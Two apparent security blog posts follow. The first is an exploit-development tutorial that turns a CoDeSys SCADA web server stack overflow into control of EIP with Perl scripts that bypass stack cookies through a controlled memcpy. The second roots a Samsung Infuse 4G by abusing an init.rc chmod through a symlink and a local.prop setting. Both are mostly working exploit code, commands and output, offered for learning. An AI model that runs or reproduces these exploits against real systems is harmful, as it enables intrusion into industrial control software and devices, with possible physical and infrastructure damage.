Anatomy of a SCADA Exploit: Part 1 – From Overflow to EIP


On November 29, 2011, Luigi Auriemma published a security advisory containing multiple vulnerabilities in the 3S CoDeSys Automation Suite.  Like much of the other software Auriemma has researched in past months, CoDeSys is SCADA software.  For those who aren’t familiar with the term, SCADA stands for “Supervisory Control and Data Acquisition,” which is just a fancy way of saying “the code that runs big machines, assembly lines, and the utilities we rely on every day (water, electricity, etc.).”  To put it more bluntly, things that should never fail and should never be messed with.

SCADA applications and appliances have been receiving a lot of media attention lately for all the security problems they’re causing, most infamously being the root of the Stuxnet outbreak in 2010.  If you spend more than a few minutes looking at the applications that power our infrastructure and the systems they run on, you’ll realize it’s time to get a little nervous.  Much of this software is full of bugs, poorly maintained by the vendors, and has the look and feel of the Windows 2000 era.

I intend to publish a three-part series of blog posts detailing my experience weaponizing Auriemma’s CoDeSys advisory, turning simple DoS into remote code execution.  It is meant to be a learning experience, and hopefully it will help others in writing their own exploits as I explain the steps taken to circumvent the different exploit mitigations implemented in the software.

A minimal amount of experience with memory corruption but a fair amount of intuition will be necessary to follow along.  While I will introduce concepts as they appear, I will not explain every little detail for the sake of fluency and brevity.

Identifying the Vulnerability

The exact bug we’ll be looking at is a stack-based overflow in the CmpWebServer component of CoDeSys:

B] CmpWebServer stack overflow

CmpWebServer is the component used in services like 3SRTESrv3 and
CoDeSysControlService for handling the HTTP connections on port 8080.

The library is affected by a buffer overflow in the function 0040f480
that copies the input URI in a limited stack buffer allowing code

 0040F5C5 |> 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C]
 0040F5C8 |. 2B55 08 SUB EDX,DWORD PTR SS:[EBP+8]
 0040F5CB |. 52 PUSH EDX
 0040F5CC |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
 0040F5CF |. 50 PUSH EAX
 0040F5D0 |. 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
 0040F5D3 |. 51 PUSH ECX
 0040F5D4 |. E8 97420000 CALL CoDeSysC.00413870 ; memcpy
3) The Code
  udpsz -c "GET /" 0 -b a -c "\\a HTTP/1.0\r\n\r\n" -1 -T -D SERVER 8080 8192

For this post we’ll be exploiting CoDeSys V3.4 SP4 Patch 2 on Windows XP Professional SP3.  While this is not the most up-to-date version of the OS, it has been chosen for various reasons, most prominently due to the fact that DEP is enabled but ASLR is not implemented.  This is a good point to start at both technically and conceptually — Don’t worry, ASLR will play a major role towards the end of this series.

You can grab the software here:

Start CoDeSys SoftMotion Win V3 (the part of CoDeSys that CmpWebServer resides in) and attach Immunity Debugger to the running process.  Let’s run the PoC and see what happens:

sh-4.1$ gcc -o udpsz udpsz.c md5.c -lz -ldl -pthread
sh-4.1$ ./udpsz -c "GET /" 0 -b a -c "\\\\a HTTP/1.0\r\n\r\n" -1 -T -D 8080 8192

UDPSZ 0.3.3a
by Luigi Auriemma

- target : 8080
- TCP mode
- random seed 0x4f079359
- content at offset 00000000 of 5 bytes
- appended content of 15 bytes
- average or maximum packet size: 8192
- send packets:
- finished

Yup, looks like a bug.  Before we dig any further let’s inspect exactly what bytes we’re sending to trigger the crash.  With a little netcat action, we learn that the PoC program is sending the following HTTP request:

sh-4.1$ nc -l 8080 | hexdump -C
00000000  47 45 54 20 2f 61 61 61  61 61 61 61 61 61 61 61  |GET /aaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00001ff0  61 5c 61 20 48 54 54 50  2f 31 2e 30 0d 0a 0d 0a  |a\a HTTP/1.0....|

That means our exploit will be structured like:

GET /[overflow]\a HTTP/1.0[crlf][crlf]

Okay, set a breakpoint and let’s inspect the call to memcpy() referenced in the advisory:

Interestingly enough, it appears we found a (functionality) bug in Immunity if you take a look at the memcpy() call frame on the stack.  In actuality we’re copying to dest=0x02cdfb44 from src=0x00399dc8 a total of n=0x1ff4=8180 bytes.

Scrolling down a bit in the dump window we see our crafted URL string in memory in its entirety, staged to be memcpy()’d somewhere on the stack.  Continuing execution, we hit the same write exception as the first run through.  Our first challenge will be getting around this issue before we’ll be able to continue.


Over the Mountain and Through the Woods…

The first step will be to look at the call stack, which will play two important roles in our debugging effort.  First, if you notice the third function on the stack, we corrupted the return pointer with 0x61616161, or “aaaa”.  This confirms that we have in fact overflowed a buffer and now control some function’s call frame.  The ultimate goal will be navigating through the rest of the code until we are able to return from this function, gaining control over EIP and eventually executing our payload.

The second role, one more relevant to the current situation, is determining which function was last called before the exception.  Looking at the top of the call stack, we see that it crashed somewhere within the function called from 0x0040f5d4… the same memcpy() that we looked at earlier!  If you read the exception message carefully, the program crashed due to an inability to write to the address 0x02ce0000, which just so happens to be the bottom of the stack.  Our overflow string was so long that we tried writing past the stack itself!  This would be a good time to start writing our exploit script – let’s shorten the overflow string and try again.


use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"x1000;
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

And take a look at our new crash:

Progress!  Looks like we’re now reaching an exception reading a pointer we control.  If we find the exact offset in our buffer this pointer is being derived from and replace it with a pointer to readable memory, we should be able to get past this part as well.  In order to pinpoint exactly where this pointer resides in our buffer, we’ll call upon the great to generate a cyclic pattern.  By replacing our overflow string with a cyclic pattern, the pointer will be replaced with a unique four-byte sequence, which we’ll then be able to trace to a specific offset in the string.

Run it again, and we see the exception but with a new pointer:

0x72413672 in little endian is “\x72\x36\x41\x72” which decodes to ASCII “r6Ar”.  Inspecting our cyclic pattern results in finding “r6Ar” at offset 529.  Replace the next four bytes with “ZZZZ” to prove the concept:

Cool.  Let’s replace this pointer with an address of somewhere in our buffer (on the stack) for now.  As long as it’s readable it won’t matter.  Moving on, we’ll leave the cyclic pattern in place as it may be helpful in the future.  Let’s see where the program takes us now…

Looks like this time the program is crashing due to a write exception to another pointer we control (the random, all-ASCII pointer clues to a cyclic pattern).  Following the same processes as before, 0x38724137 in little endian is “\x37\x41\x72\x38” which decodes to ASCII “7Ar8”.  Inspecting our cyclic pattern results in finding “7Ar8” at offset 533, adjacent to the readable pointer above.  We’ll replace this one with a random pointer on the stack, outside our buffer.  That brings us to the following exploit script so far:


use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,

$exploit = "";
$exploit .= "GET /";
#$exploit .= "A"x1000;
$exploit .= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A";
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer
$exploit .= pack('V', 0x02cdfa54); # Writable pointer
$exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

Run it again, and…

What’s this?  Process terminated?  Not just ended, but terminated?  What would cause such a thing?  Let’s go back and add a bunch of breakpoints and see where it terminates.  We’ll follow the execution step-by-step and determine exactly the root cause of this.

We reach the initial memcpy() okay…

And return from a function, unwinding a layer off the stack (note, not the function that we overflowed the call frame of)…

Pass unfettered through a few function calls…

Until we reach this final function before the return:

Note how EBP points to somewhere in our overflow string.  If we hit the function epilogue at 0x0040fcb7 after this final function call, then the program should realign the stack pointer into our buffer, pop the base pointer, and then return to an arbitrary address of our choosing (EIP control).  Yet, that doesn’t happen and the program terminates instead.  That means it can only be…

Uh oh… It looks like we’ve been plagued with stack cookies.  No matter how delicious they sound, these are not the type of cookies you want.  When we overwrote the call frame for the current function, we corrupted the cookie on the stack before it.  We won’t be able to do a direct ret overwrite, so we’ll have to get crafty and influence the program in other ways to circumvent the memory protection.

Great, So What Now?

We have two options to pursue from here.  The first option is to attempt an SEH overwrite – taking control of the exception handler located on the stack, intentionally causing an exception in the program, and pointing execution at any address we choose.  From here we’d need to find a stack pivot to relocate the stack pointer into our buffer, but just our luck that all loaded modules in the program are compiled with SafeSEH:

This doesn’t technically mean the end of an SEH overwrite possibility, as there are other techniques such as generating gadgets from bytes outside of loaded modules in memory, but before we go crazy let’s see what else we have to work with.

The second option is to take a closer look at the functions called before the stack cookie check and see if it is possible to abuse them to redirect the program flow.  One thing that should pique our interest is the fact that in order to satisfy the code executed before the stack cookie check, we had to provide two adjacent pointers in memory, one readable and one writable.  Let’s look more closely at a previous screenshot:

See anything interesting? Recall the arguments to the initial memcpy():




The cyclic pattern doesn’t start at the dest address… and it’s missing its first character (“A”)…  Let’s recall the “random” stack pointers we placed in our overflow string:

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer
$exploit .= pack('V', 0x02cdfa54); # Writable pointer

In case you haven’t figured it out already, let’s take a look at the initial memcpy() call:

And now let’s look at the function call just before the stack cookie check:

Notice anything similar?  Just before the stack cookie check, we have complete control over the src and dest arguments of a memcpy() call!  We can leverage this capability to overwrite the return address of the call itself, returning into an arbitrary address in memory and gaining control over EIP.  Update our script:


use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A";
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

Run our new script against the server:


Next Time

Next post in this series (the second of three) we’ll look at how to turn EIP into arbitrary code execution, bypassing DEP and spawning a shell on the remote host.

Rooting the Samsung Infuse 4G

I received a Samsung Infuse 4G this year for Christmas, and one of the first questions I had was how to let this bad boy run free.  Doing a little searching around, it looked like the device was already rootable by the RageAgainstTheCage exploit by the Android Exploid Crew, but of course using an already-written, pre-compiled exploit is too boring.

Note, before we even begin, the device should be placed into USB debugging mode so we can interact with it from a shell (via the ADB – Android Debug Bridge).

After some snooping around, I noticed that the device was vulnerable to a flaw similar to the ones Dan Rosenberg found with the Droid 3 and Admire.  In the init.rc script (which is run at startup as root), we see the following command:

# Permission for WMDRM sample.hds file
chmod 0777  /data/data/.drm/.wmdrm/sample.hds

The sample.hds file doesn’t actually exist, but that fact is irrelevant to the situation.  The interesting thing here is that the .wmdrm directory is also 0777, so we have full control over its contents.  Let’s create a symlink to /data where sample.hds is supposed to be and reboot:

$ ln -s /data /data/data/.drm/.wmdrm/sample.hds
$ ls -l /data/data/.drm/.wmdrm/sample.hds
lrwxrwxrwx shell    shell             2012-01-02 20:13 sample.hds -> /data
$ exit
sh-4.1$ ./adb reboot
sh-4.1$ ./adb shell
$ ls -l
drwxrwx--x system   system            2012-01-02 20:14 dbdata
dr-x------ root     root              2012-01-02 20:14 config
drwxrwx--- system   cache             2012-01-02 20:14 cache
drwxrwx--x radio    radio             2012-01-02 20:14 efs
lrwxrwxrwx root     root              2012-01-02 20:14 sdcard -> /mnt/sdcard
drwxr-xr-x root     root              2012-01-02 20:14 acct
drwxrwxr-x root     system            2012-01-02 20:14 mnt
lrwxrwxrwx root     root              2012-01-02 20:14 d -> /sys/kernel/debug
lrwxrwxrwx root     root              2012-01-02 20:14 etc -> /system/etc
drwxr-xr-x root     root              2012-01-02 20:14 system
drwxrwxrwx system   system            2012-01-02 20:14 data
drwxr-xr-x root     root              1969-12-31 19:00 sys
drwxr-xr-x root     root              2011-08-03 23:33 modules
dr-xr-xr-x root     root              1969-12-31 19:00 proc
drwxr-xr-x root     root              2012-01-02 20:14 dev
-rwxr-xr-x root     root        12127 2010-08-12 10:06 recovery.rc
-rwxr-xr-x root     root          945 2010-08-27 09:41 lpm.rc
-rw-r--r-- root     root        25100 2011-03-17 02:00 init.rc
drwxr-xr-x root     root              2011-08-03 23:33 res
drwxr-xr-x root     root              2011-08-03 23:33 lib
drwxr-xr-x root     root              2011-08-03 23:33 sbin
-rw-r--r-- root     root          118 2011-08-03 23:13 default.prop
-rw-r--r-- root     root         1677 2010-07-06 15:13 init.goldfish.rc
-rw-r--r-- root     root         2378 2010-12-14 23:01 fota.rc
-rwxr-xr-x root     root          379 2010-05-28 03:06 init.smdkc110.rc
-rwxr-xr-x root     root       133016 2011-08-03 23:19 init

Our symlink was followed, and now the /data directory is 0777!  From here we’ll create a /data/local.prop file with a configuration setting to not drop privileges when spawning a shell:

$ echo ro.kernel.qemu=1 > /data/local.prop
$ exit
sh-4.1$ ./adb reboot

After restarting, the phone refuses to boot and vibrates a bunch due to parsing the ro.kernel.qemu property.  We told the device it was running in an emulator when it’s actually still running on hardware, leading to confusion.  However, we are still able to spawn a shell with adb:

sh-4.1$ ./adb shell
# id
uid=0(root) gid=2000(shell) groups=1007(log)

Success!  For persistence, we’ll follow the typical song and dance and copy over some binaries and install the Superuser app:

# mount -o rw,remount /dev/stl9 /system
# exit
sh-4.1$ ./adb push su /system/bin
233 KB/s (26264 bytes in 0.109s)
sh-4.1$ ./adb push busybox /system/bin
500 KB/s (1867568 bytes in 3.646s)
sh-4.1$ ./adb install Superuser.apk
449 KB/s (196521 bytes in 0.427s)
    pkg: /data/local/tmp/Superuser.apk
sh-4.1$ ./adb shell
# chmod 4755 /system/bin/su /system/bin/busybox

Clean up our files and reboot the device:

# rm /data/local.prop
# rm /data/data/.drm/.wmdrm/sample.hds
# reboot

Running `su` in the adb shell, as well as apps for rooted phones, will now prompt the user (on the phone itself) to grant root privileges to the process.  This selection can be remembered for future use.

A one-click root script for Linux is available here:  If this exploit works for other phones, contact me and I’ll update the post.

Thanks to Dan Rosenberg for his tips and guidance throughout the process.